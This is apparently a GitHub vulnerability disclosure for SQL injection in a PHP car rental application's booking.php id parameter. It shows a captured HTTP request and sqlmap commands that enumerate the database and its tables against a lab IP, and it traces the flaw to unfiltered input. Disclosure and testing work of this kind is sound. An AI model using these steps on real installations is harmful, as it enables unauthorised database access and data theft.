Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Car Rental System SQL Injection

  • Note => Login to customer
  • Injection Point => http://192.168.1.101:8080/Car_Rental/booking.php?id=1

Exploit

  • Exploit with Sqlmap + Burp Suite image
  • Use Burp Suite capture request
  • Then save as sqlicar.txt
GET /Car_Rental/booking.php?id=1 HTTP/1.1
Host: 192.168.1.101:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.101:8080/Car_Rental/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ci_session=jo7rsp3d4su5223o11544otrc44odm2l; PHPSESSID=5cddkjjvh5nhvqh96t306gau8b
Connection: close
  • Exploit with Sqlmap
 python3 sqlmap.py -r sqlicar.txt --current-db

image

python3 sqlmap.py -r sqlicar.txt -D carrentalp --tables

image

Information Disclosure

image image

Vulnerable Code

image

  • No filter id when inserting data to database